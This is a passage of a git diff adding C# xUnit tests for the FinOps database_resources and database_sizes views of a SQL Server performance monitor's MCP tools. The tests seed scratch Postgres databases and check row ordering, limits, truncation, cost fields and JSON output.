+        using (var writer = new Utf8JsonWriter(stream, new JsonWriterOptions { Indented = true, Encoder = System.Text.Encodings.Web.JavaScriptEncoder.UnsafeRelaxedJsonEscaping }))
+        {
+            writer.WriteStartObject();
+            writer.WritePropertyName("databaseResourceUsage");
+            WriteValue(writer, usage);
+            writer.WritePropertyName("topResourceConsumers");
+            WriteValue(writer, top);
+            writer.WritePropertyName("sqlText");
+            WriteValue(writer, sql);
+            writer.WriteEndObject();
+        }
+        return Encoding.UTF8.GetString(stream.ToArray()).ReplaceLineEndings("\n") + "\n";
+    }
+
+    private static void WriteValue(Utf8JsonWriter writer, object? value)
+    {
+        switch (value)
+        {
+            case null: writer.WriteNullValue(); break;
+            case string s: writer.WriteStringValue(s.ReplaceLineEndings("\n")); break;
+            case bool b: writer.WriteBooleanValue(b); break;
+            case int i: writer.WriteNumberValue(i); break;
+            case long l: writer.WriteNumberValue(l); break;
+            case decimal m: writer.WriteNumberValue(m); break;
+            case System.Collections.IDictionary map:
+                writer.WriteStartObject();
+                foreach (System.Collections.DictionaryEntry entry in map)
+                {
+                    writer.WritePropertyName((string)entry.Key);
+                    WriteValue(writer, entry.Value);
+                }
+                writer.WriteEndObject();
+                break;
+            case System.Collections.IEnumerable list:
+                writer.WriteStartArray();
+                foreach (var item in list) WriteValue(writer, item);
+                writer.WriteEndArray();
+                break;
+            default:
+                writer.WriteStartObject();
+                foreach (var p in value.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance)
+                             .Where(p => p.SetMethod is { IsPublic: true })
+                             .OrderBy(p => p.MetadataToken))
+                {
+                    writer.WritePropertyName(p.Name);
+                    WriteValue(writer, p.GetValue(value));
+                }
+                writer.WriteEndObject();
+                break;
+        }
+    }
+
+    private static string GoldenSourcePath([CallerFilePath] string testFile = "") =>
+        Path.Combine(Path.GetDirectoryName(testFile)!, "Fixtures", "FinOpsDatabaseResources", "golden.json");
+
+    private static void AssertGolden(string actual)
+    {
+        if (Environment.GetEnvironmentVariable("DARLING_WRITE_GOLDEN") == "1")
+            File.WriteAllText(GoldenSourcePath(), actual);
+
+        var golden = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "FinOpsDatabaseResources", "golden.json"))
+            .ReplaceLineEndings("\n");
+        Assert.Equal(golden, actual);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsDatabaseResourcesViewTests.cs b/Darling/Darling.Tests/FinOpsDatabaseResourcesViewTests.cs
new file mode 100644
index 0000000000..225f011d51
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsDatabaseResourcesViewTests.cs
@@ -0,0 +1,259 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+public sealed class FinOpsDatabaseResourcesViewTests
+{
+    [Fact]
+    public void ServedHead_NamesTheView_AndStaysUnderTheTarget()
+    {
+        var served = McpToolGuideTests.Served("get_finops");
+        Assert.Contains("database_resources:", served.Served, StringComparison.Ordinal);
+        Assert.True(served.Served.Length <= 620, $"served head is {served.Served.Length}");
+        Assert.True(DarlingMcpFinOpsTools.DatabaseResourcesViewLine.Length <= 80);
+    }
+
+    [Fact]
+    public void GuideTail_CarriesTheViewsKeyFacts()
+    {
+        var tail = McpToolGuideTests.Served("get_finops").Tail;
+        Assert.NotNull(tail);
+        Assert.Contains("rounded to 0.01", tail, StringComparison.Ordinal);
+        Assert.Contains("rows lists every database up to 500, ordered by CPU, then I/O, then name", tail, StringComparison.Ordinal);
+        Assert.Contains("limit caps only these two lists", tail, StringComparison.Ordinal);
+        Assert.Contains("top_by_total can include databases with 0 CPU that only had file I/O", tail, StringComparison.Ordinal);
+        Assert.Contains("top_by_avg is empty when no database has executions in the window", tail, StringComparison.Ordinal);
+        Assert.Contains("Above 72 hours, rows reads the per-database rollup and the top lists read the query-grain rollup", tail, StringComparison.Ordinal);
+        Assert.Contains("avg_cpu_ms is rounded to a whole millisecond, avg_io_mb has 4 decimals, io_total_mb has 2, and total_cpu_ms is the total behind the average", tail, StringComparison.Ordinal);
+        Assert.Contains("the desktop's top-consumer grids always cover 24 hours, so send hours_back=24 to match them", tail, StringComparison.Ordinal);
+        Assert.Contains("database_count", tail, StringComparison.Ordinal);
+        Assert.Contains("truncated", tail, StringComparison.Ordinal);
+        Assert.Contains("hourly or daily rollups", tail, StringComparison.Ordinal);
+        Assert.Contains("top_by_total and top_by_avg rank databases by total CPU and by CPU per execution", tail, StringComparison.Ordinal);
+        Assert.Contains("a database with no executions is left out of top_by_avg", tail, StringComparison.Ordinal);
+        Assert.Contains("an unattributed one is left out of top_by_total", tail, StringComparison.Ordinal);
+        Assert.Contains("No cost fields.", tail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ViewsAllowList_ContainsTheView() =>
+        Assert.Contains("database_resources", DarlingMcpFinOpsTools.Views);
+}
+
+/* #1776 own-store: each fact seeds its own scratch database, so nothing here shares rows with another test. */
+public sealed class FinOpsDatabaseResourcesViewLiveTests
+{
+    private const string ServerName = "darling-finops-dbres-view-a";
+    private const string EmptyServerName = "darling-finops-dbres-view-b";
+    private const string PostgresServerName = "darling-finops-dbres-view-c";
+    private const int SeededDatabases = 8;
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static readonly int EmptyServerId = ServerIdHelper.GetDeterministicHashCode(EmptyServerName);
+    private static readonly int PostgresServerId = ServerIdHelper.GetDeterministicHashCode(PostgresServerName);
+
+    private static async Task<ScratchPostgres> SeedAsync(string cs, CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerId, ServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, EmptyServerId, EmptyServerName, ct);
+        await PgTargetFactCollectorTests.RegisterServerAsync(c, PostgresServerId, PostgresServerName, MonitoredEngineKind.Postgres, 16, ct);
+        var at = DarlingMcpTestData.Naive(DateTime.UtcNow).AddHours(-2);
+        var dbs = new[] { "tenant_a", "tenant_b", "tenant_c", "tenant_d", "tenant_e", "tenant_f" };
+        for (var i = 0; i < dbs.Length; i++)
+        {
+            await DarlingMcpTestData.ExecAsync(c, ct,
+                @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash,
+                    delta_worker_time, delta_execution_count, delta_logical_reads, delta_physical_reads, delta_logical_writes,
+                    sample_interval_seconds)
+                  VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, dbs[i], "0xQ" + CollectionIdGenerator.Next(),
+                (long)(i + 1) * 1_700_000L, i == 5 ? 0L : 10L + i, 1000L * (i + 1), 100L + i, 50L + i, 60);
+            await DarlingMcpTestData.ExecAsync(c, ct,
+                @"INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name,
+                    file_type, physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes,
+                    delta_stall_read_ms, delta_stall_write_ms)
+                  VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, dbs[i], "f" + i + ".mdf", "ROWS", "D:\\data\\f" + i + ".mdf",
+                100m, 10L, 10L, 1_054_000L * (i + 1), 3_333_333L + i, 120L + i, 30L + i);
+        }
+
+        /* Two databases with file I/O only (no query stats), different I/O totals: tenant_h has more I/O but the later name. */
+        var ioOnly = new[] { ("tenant_g", 500_000L), ("tenant_h", 900_000L) };
+        for (var i = 0; i < ioOnly.Length; i++)
+        {
+            await DarlingMcpTestData.ExecAsync(c, ct,
+                @"INSERT INTO file_io_stats (collection_id, collection_time, server_id, server_name, database_name, file_name,
+                    file_type, physical_name, size_mb, delta_reads, delta_writes, delta_read_bytes, delta_write_bytes,
+                    delta_stall_read_ms, delta_stall_write_ms)
+                  VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15)",
+                CollectionIdGenerator.Next(), at, ServerId, ServerName, ioOnly[i].Item1, "g" + i + ".mdf", "ROWS", "D:\\data\\g" + i + ".mdf",
+                100m, 5L, 5L, ioOnly[i].Item2, 1_000L, 10L, 5L);
+        }
+
+        return scratch;
+    }
+
+    private static async Task<(string Total, string Avg)> ExpectedTopJsonAsync(NpgsqlDataSource ds, int limit, CancellationToken ct)
+    {
+        var cutoff = DateTime.UtcNow.AddHours(-24);
+        var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(ds, ct);
+        var (byTotal, byAvg) = await DarlingFinOpsDatabaseResourcesReader.GetTopResourceConsumersAsync(
+            ds, ServerId, rollups, coverage, cutoff, 60, limit, ct);
+        Assert.DoesNotContain(byAvg, r => r.DatabaseName == "tenant_f");
+        return (JsonSerializer.Serialize(byTotal.Select(DarlingMcpFinOpsTools.TopByTotalRow).ToList(), McpHelpers.JsonOptions),
+            JsonSerializer.Serialize(byAvg.Select(DarlingMcpFinOpsTools.TopByAvgRow).ToList(), McpHelpers.JsonOptions));
+    }
+
+    private static async Task<string> ExpectedRowsJsonAsync(NpgsqlDataSource ds, int limit, CancellationToken ct)
+    {
+        var cutoff = DateTime.UtcNow.AddHours(-24);
+        var (rollups, coverage) = await ComposeStoreAvailability.GetRollupsAsync(ds, ct);
+        var rows = await DarlingFinOpsDatabaseResourcesReader.GetDatabaseResourceUsageAsync(
+            ds, ServerId, rollups, coverage, cutoff, 60, ct);
+        return JsonSerializer.Serialize(
+            DarlingMcpFinOpsTools.OrderDatabaseRows(rows).Take(limit).Select(DarlingMcpFinOpsTools.DatabaseResourcesRow).ToList(),
+            McpHelpers.JsonOptions);
+    }
+
+    private static string? Cs()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live database_resources view test.");
+        return cs;
+    }
+
+    [Fact]
+    public async Task ToolRows_EqualTheStorageReaderRows_InCpuOrder()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "database_resources", ServerName, 24, 50, cancellationToken: ct));
+        Assert.Equal(SeededDatabases, tool.RootElement.GetProperty("database_count").GetInt32());
+        Assert.False(tool.RootElement.GetProperty("truncated").GetBoolean());
+        var names = tool.RootElement.GetProperty("rows").EnumerateArray().Select(r => r.GetProperty("database_name").GetString()).ToArray();
+        Assert.Equal("tenant_f", names[0]);
+        /* The I/O-only databases tie at 0 CPU: more I/O first, whatever the name. */
+        Assert.Equal(new[] { "tenant_h", "tenant_g" }, names.TakeLast(2).ToArray());
+        var ioOnlyTotal = tool.RootElement.GetProperty("top_by_total").EnumerateArray()
+            .Where(r => r.GetProperty("database_name").GetString() is "tenant_g" or "tenant_h").ToList();
+        Assert.Equal(2, ioOnlyTotal.Count);
+        Assert.All(ioOnlyTotal, r => Assert.Equal(0, r.GetProperty("cpu_time_ms").GetInt64()));
+        Assert.DoesNotContain(tool.RootElement.GetProperty("top_by_avg").EnumerateArray(),
+            r => r.GetProperty("database_name").GetString() is "tenant_g" or "tenant_h");
+        Assert.Equal(await ExpectedRowsJsonAsync(ds, 50, ct), tool.RootElement.GetProperty("rows").GetRawText());
+        var top = await ExpectedTopJsonAsync(ds, 50, ct);
+        Assert.Equal(top.Total, tool.RootElement.GetProperty("top_by_total").GetRawText());
+        Assert.Equal(top.Avg, tool.RootElement.GetProperty("top_by_avg").GetRawText());
+    }
+
+    [Fact]
+    public async Task Limit_CapsTheTopLists_AndNotTheRows()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "database_resources", ServerName, 24, 2, cancellationToken: ct));
+        Assert.Equal(2, tool.RootElement.GetProperty("top_by_total").GetArrayLength());
+        Assert.Equal(2, tool.RootElement.GetProperty("top_by_avg").GetArrayLength());
+        Assert.Equal(SeededDatabases, tool.RootElement.GetProperty("rows").GetArrayLength());
+        Assert.False(tool.RootElement.GetProperty("truncated").GetBoolean());
+        Assert.Equal(SeededDatabases, tool.RootElement.GetProperty("database_count").GetInt32());
+        Assert.Equal(await ExpectedRowsJsonAsync(ds, int.MaxValue, ct), tool.RootElement.GetProperty("rows").GetRawText());
+        var top = await ExpectedTopJsonAsync(ds, 2, ct);
+        Assert.Equal(top.Total, tool.RootElement.GetProperty("top_by_total").GetRawText());
+        Assert.Equal(top.Avg, tool.RootElement.GetProperty("top_by_avg").GetRawText());
+    }
+
+    [Fact]
+    public async Task ServerWithNoRows_GetsAStatus_NotAnError()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "database_resources", EmptyServerName, 24, 10, cancellationToken: ct));
+        var status = tool.RootElement.GetProperty("status").GetString();
+        Assert.Equal("empty", status);
+    }
+
+    [Fact]
+    public async Task PostgresServerWithNoRows_IsNotCollected_WhenBothCollectorsAreGated()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "database_resources", PostgresServerName, 24, 10, cancellationToken: ct));
+        Assert.Equal("not_collected", tool.RootElement.GetProperty("status").GetString());
+    }
+
+    [Fact]
+    public async Task ReadRoute_ReturnsTheToolsBody()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
+        var tool = await DarlingMcpFinOpsTools.GetFinOps(ds, "database_resources", ServerName, 24, 50, cancellationToken: ct);
+
+        var builder = WebApplication.CreateBuilder(new WebApplicationOptions
+        {
+            ContentRootPath = Path.Combine(RepoFile.Root, "Darling", "PerformanceMonitor.Darling.Service"),
+            WebRootPath = "wwwroot",
+        });
+        builder.WebHost.UseTestServer();
+        builder.Logging.ClearProviders();
+        builder.Services.AddSingleton(ds);
+        await using var app = builder.Build();
+        DarlingWebEndpoints.MapAll(app, ds, new CollectorRuntimeState(), new CapturingTestLogger());
+        await app.StartAsync(ct);
+        using var server = app.GetTestServer();
+        var context = await server.SendAsync(request =>
+        {
+            request.Request.Method = "GET";
+            request.Request.Path = "/api/read/get_finops";
+            request.Request.QueryString = new QueryString($"?server={ServerName}&view=database_resources&hours=24&limit=50");
+            request.Request.Headers.Host = "localhost";
+        });
+        using var reader = new StreamReader(context.Response.Body);
+        var body = await reader.ReadToEndAsync(ct);
+
+        Assert.Equal(StatusCodes.Status200OK, context.Response.StatusCode);
+        using var expected = JsonDocument.Parse(tool);
+        using var actual = JsonDocument.Parse(body);
+        Assert.True(JsonElement.DeepEquals(expected.RootElement, actual.RootElement), body);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsDatabaseSizesViewTests.cs b/Darling/Darling.Tests/FinOpsDatabaseSizesViewTests.cs
new file mode 100644
index 0000000000..61b21cfb73
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsDatabaseSizesViewTests.cs
@@ -0,0 +1,239 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+public sealed class FinOpsDatabaseSizesViewTests
+{
+    private static DatabaseSizeFileDto File(int i) => new(
+        new DateTime(2026, 10, 4, 12, 0, 0, DateTimeKind.Unspecified), "LongerDatabaseName_" + i, i % 2 == 0 ? "ROWS" : "LOG",
+        "LongerDatabaseName_" + i + (i % 2 == 0 ? ".mdf" : "_log.ldf"), 12345.67m + i, 9876.54m, -1m,
+        "D:\\SQLData\\", 1_048_576.00m, 524_288.25m, "FULL", 1024.00m, false, null, i % 2 == 0 ? null : 48, i);
+
+    [Fact]
+    public void ServedHead_StaysUnderTheTarget_AndTheTailDescribesTheView()
+    {
+        var served = McpToolGuideTests.Served("get_finops");
+        Assert.True(served.Served.Length <= 620, $"served head is {served.Served.Length}");
+        Assert.Contains("database_sizes gives one row per database file", served.Tail, StringComparison.Ordinal);
+        Assert.Contains("database_sizes", DarlingMcpFinOpsTools.SetBValid, StringComparison.Ordinal);
+        Assert.Contains("database_sizes", DarlingMcpFinOpsTools.Views);
+    }
+
+    /* #5238: index_analysis and storage_growth's databases level take a limit up to 500 too, and storage_growth reads the default 10 as 50 the way
+       this view reads it as 70, so the guide no longer calls its own ceiling "this view only". */
+    [Fact]
+    public void TheGuide_NamesTheDefaultMeaningSeventy_AndNoLongerCallsTheCeilingThisViewOnly()
+    {
+        var guide = DarlingMcpFinOpsTools.DatabaseSizesViewGuide;
+        Assert.DoesNotContain("this view only", guide, StringComparison.Ordinal);
+        Assert.Contains("limit 11 to 500 lists that many (the default 10 means 70)", guide, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ADefaultCall_OnALargeStore_StaysUnderTheResponseTarget()
+    {
+        var files = Enumerable.Range(0, 600).Select(File).ToList();
+        var json = DarlingMcpFinOpsTools.DatabaseSizesPayload("srv", files, 1234.50m);
+        using var doc = JsonDocument.Parse(json);
+        Assert.Equal(DarlingMcpFinOpsTools.DefaultDatabaseSizeRows, doc.RootElement.GetProperty("rows").GetArrayLength());
+        Assert.Equal(600, doc.RootElement.GetProperty("file_count").GetInt32());
+        Assert.True(doc.RootElement.GetProperty("truncated").GetBoolean());
+        Assert.True(Encoding.UTF8.GetByteCount(json) <= McpResponseBudget.DefaultBytes, $"{Encoding.UTF8.GetByteCount(json)} bytes");
+    }
+
+    [Fact]
+    public void ACallAtTheCeiling_ListsEveryFileUpToTheCeiling_AndSaysWhenItStillCuts()
+    {
+        var files = Enumerable.Range(0, 600).Select(File).ToList();
+        var cap = DarlingMcpFinOpsTools.DatabaseSizeRowCap(DarlingMcpFinOpsTools.MaxDatabaseSizeRows);
+        Assert.Equal(500, cap);
+        using var doc = JsonDocument.Parse(DarlingMcpFinOpsTools.DatabaseSizesPayload("srv", files, 1234.50m, cap));
+        Assert.Equal(500, doc.RootElement.GetProperty("rows").GetArrayLength());
+        Assert.Equal(600, doc.RootElement.GetProperty("file_count").GetInt32());
+        Assert.True(doc.RootElement.GetProperty("truncated").GetBoolean());
+        using var all = JsonDocument.Parse(DarlingMcpFinOpsTools.DatabaseSizesPayload("srv", files.Take(300).ToList(), 1234.50m, cap));
+        Assert.Equal(300, all.RootElement.GetProperty("rows").GetArrayLength());
+        Assert.False(all.RootElement.GetProperty("truncated").GetBoolean());
+    }
+
+    [Fact]
+    public void TheDefaultLimit_MeansTheDefaultRowCount_AndAnyOtherLimitIsTheCount()
+    {
+        Assert.Equal(DarlingMcpFinOpsTools.DefaultDatabaseSizeRows, DarlingMcpFinOpsTools.DatabaseSizeRowCap(10));
+        Assert.Equal(11, DarlingMcpFinOpsTools.DatabaseSizeRowCap(11));
+    }
+
+    [Fact]
+    public void CapturedAt_IsAUtcStamp_LikeTheSiblingViews()
+    {
+        using var doc = JsonDocument.Parse(DarlingMcpFinOpsTools.DatabaseSizesPayload("srv", [File(0)], 0m));
+        Assert.EndsWith("Z", doc.RootElement.GetProperty("captured_at").GetString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void NoCost_LeavesEveryRowCostNull_AndNamesTheReason()
+    {
+        using var doc = JsonDocument.Parse(DarlingMcpFinOpsTools.DatabaseSizesPayload("srv", [File(0), File(1)], 0m));
+        Assert.Equal("monthly cost not set", doc.RootElement.GetProperty("cost_reason").GetString());
+        Assert.All(doc.RootElement.GetProperty("rows").EnumerateArray(),
+            r => Assert.Equal(JsonValueKind.Null, r.GetProperty("monthly_cost_usd").ValueKind));
+    }
+
+    [Fact]
+    public void ARowCarriesTheDesktopDerivedColumns_AndVlfOnlyOnALogFile()
+    {
+        using var doc = JsonDocument.Parse(DarlingMcpFinOpsTools.DatabaseSizesPayload("srv", [File(0), File(1)], 100m));
+        var rows = doc.RootElement.GetProperty("rows").EnumerateArray().ToList();
+        Assert.Equal(JsonValueKind.Null, rows[0].GetProperty("vlf_count").ValueKind);
+        Assert.Equal(48, rows[1].GetProperty("vlf_count").GetInt32());
+        Assert.Equal(12345.67m - 9876.54m, rows[0].GetProperty("free_space_mb").GetDecimal());
+        Assert.Equal(80.0m, rows[0].GetProperty("used_pct").GetDecimal());
+        Assert.Equal("FULL", rows[0].GetProperty("recovery_model").GetString());
+    }
+}
+
+/* #1776 own-store: the fixture seeds its own scratch database, so nothing here shares rows with another test. */
+public sealed class FinOpsDatabaseSizesViewLiveTests
+{
+    private const string ServerName = "darling-finops-dbsizes-view-a";
+    private const string EmptyServerName = "darling-finops-dbsizes-view-b";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+    private static readonly int EmptyServerId = ServerIdHelper.GetDeterministicHashCode(EmptyServerName);
+
+    private static async Task<ScratchPostgres> SeedAsync(string cs, CancellationToken ct)
+    {
+        var scratch = await ScratchPostgres.CreateAsync(cs, ct);
+        await using var c = new NpgsqlConnection(scratch.ConnectionString);
+        await c.OpenAsync(ct);
+        await PgMigrations.MigrateAsync(c, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, ServerId, ServerName, ct);
+        await DarlingMcpTestData.RegisterServerAsync(c, EmptyServerId, EmptyServerName, ct);
+        await DarlingMcpTestData.ExecAsync(c, ct, "UPDATE servers SET monthly_cost_usd = 1000 WHERE server_id = $1", ServerId);
+        var old = DarlingMcpTestData.Naive(DateTime.UtcNow).AddHours(-3);
+        var at = DarlingMcpTestData.Naive(DateTime.UtcNow).AddHours(-1);
+        /* An older snapshot that must be ignored, then the latest: a percent-growth data file, a MB-growth log
+           file with VLFs, a no-growth file, and a Hyperscale-style log file with no size. */
+        await FileRowAsync(c, ct, old, "OldDb", "o.mdf", "ROWS", 9999m, 1m, 1m, false, null, "FULL", null, 1);
+        await FileRowAsync(c, ct, at, "SalesDb", "sales.mdf", "ROWS", 800m, 600m, 64m, false, null, "FULL", null, 1);
+        await FileRowAsync(c, ct, at, "SalesDb", "sales_log.ldf", "LOG", 200m, 20m, 10m, true, 10, "FULL", 37, 2);
+        await FileRowAsync(c, ct, at, "ArchiveDb", "archive.mdf", "ROWS", 500m, 500m, 0m, false, null, "SIMPLE", null, 1);
+        await FileRowAsync(c, ct, at, "ArchiveDb", "archive_log.ldf", "LOG", null, null, 0m, false, null, "SIMPLE", 4, 2);
+        return scratch;
+    }
+
+    private static Task FileRowAsync(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, string file, string type,
+        decimal? total, decimal? used, decimal growthMb, bool pct, int? growthPct, string recovery, int? vlf, int fileId) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, file_id, file_name,
+                file_type_desc, total_size_mb, used_size_mb, auto_growth_mb, is_percent_growth, growth_pct, recovery_model_desc, vlf_count,
+                volume_mount_point, volume_total_mb, volume_free_mb)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,'D:\',100000,40000)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, db, fileId, file, type, total, used, growthMb, pct, growthPct, recovery, vlf);
+
+    private static string? Cs()
+    {
+        var cs = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(cs), "Set DARLING_TEST_PG to run the live database_sizes view test.");
+        return cs;
+    }
+
+    [Fact]
+    public async Task ToolRows_MatchTheDesktopViewersRowsAndCostShares()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await using var viewer = new ViewerDataService(scratch.ConnectionString);
+
+        var expected = await viewer.GetDatabaseSizeLatestAsync(ServerId, cancellationToken: ct);
+        var allocated = DatabaseSizeRow.AllocatedTotalMb(expected);
+        using var tool = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "database_sizes", ServerName, cancellationToken: ct));
+        var rows = tool.RootElement.GetProperty("rows").EnumerateArray().ToList();
+
+        Assert.Equal(expected.Count, rows.Count);
+        Assert.Equal(4, tool.RootElement.GetProperty("file_count").GetInt32());
+        Assert.False(tool.RootElement.GetProperty("truncated").GetBoolean());
+        for (var i = 0; i < expected.Count; i++)
+        {
+            var e = expected[i];
+            var r = rows[i];
+            Assert.Equal(e.DatabaseName, r.GetProperty("database_name").GetString());
+            Assert.Equal(e.FileName, r.GetProperty("file_name").GetString());
+            Assert.Equal(e.RecoveryModel, r.GetProperty("recovery_model").GetString());
+            Assert.Equal(e.IsPercentGrowth, r.GetProperty("is_percent_growth").GetBoolean());
+            Assert.Equal(e.AutoGrowthMb, r.GetProperty("auto_growth_mb").GetDecimal());
+            if (e.UsedPct is { } pctUsed) Assert.Equal(pctUsed, r.GetProperty("used_pct").GetDecimal());
+            else Assert.Equal(JsonValueKind.Null, r.GetProperty("used_pct").ValueKind);
+            if (e.FreeSpaceMb is { } free) Assert.Equal(free, r.GetProperty("free_space_mb").GetDecimal());
+            if (e.VlfCountDisplay == "N/A") Assert.Equal(JsonValueKind.Null, r.GetProperty("vlf_count").ValueKind);
+            else Assert.Equal(e.VlfCount, r.GetProperty("vlf_count").GetInt32());
+            if (e.TotalSizeMb is null) Assert.Equal(JsonValueKind.Null, r.GetProperty("monthly_cost_usd").ValueKind);
+            else Assert.Equal(Math.Round(FinOpsCost.StorageShare(e.TotalSizeMb.Value, allocated, 1000m), 2, MidpointRounding.AwayFromZero),
+                r.GetProperty("monthly_cost_usd").GetDecimal());
+        }
+
+        Assert.DoesNotContain(rows, r => r.GetProperty("database_name").GetString() == "OldDb");
+        Assert.Equal(1000m, tool.RootElement.GetProperty("monthly_cost_usd").GetDecimal());
+    }
+
+    [Fact]
+    public async Task ALimitAtTheCeiling_ReturnsMoreThanTheDefaultRows_AndOverTheCeilingIsRefused()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+        await using (var c = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await c.OpenAsync(ct);
+            var at = DarlingMcpTestData.Naive(DateTime.UtcNow).AddMinutes(-30);
+            for (var i = 0; i < 120; i++)
+                await FileRowAsync(c, ct, at, "BulkDb" + (i / 2), "bulk" + i + ".mdf", "ROWS", 100m + i, 50m, 1m, false, null, "FULL", null, i + 1);
+        }
+
+        using var dflt = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "database_sizes", ServerName, cancellationToken: ct));
+        Assert.Equal(DarlingMcpFinOpsTools.DefaultDatabaseSizeRows, dflt.RootElement.GetProperty("rows").GetArrayLength());
+        Assert.True(dflt.RootElement.GetProperty("truncated").GetBoolean());
+
+        using var max = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "database_sizes", ServerName,
+            limit: DarlingMcpFinOpsTools.MaxDatabaseSizeRows, cancellationToken: ct));
+        Assert.Equal(120, max.RootElement.GetProperty("rows").GetArrayLength());
+        Assert.Equal(120, max.RootElement.GetProperty("file_count").GetInt32());
+        Assert.False(max.RootElement.GetProperty("truncated").GetBoolean());
+
+        using var over = JsonDocument.Parse(await DarlingMcpFinOpsTools.GetFinOps(ds, "database_sizes", ServerName, limit: 501, cancellationToken: ct));
+        Assert.Contains("1 to 500", over.RootElement.ToString(), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task AServerWithNoSnapshot_GetsAStatus_NotAnError()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await SeedAsync(Cs()!, ct);
+        await using var ds = NpgsqlDataSource.Create(scratch.ConnectionString);
+
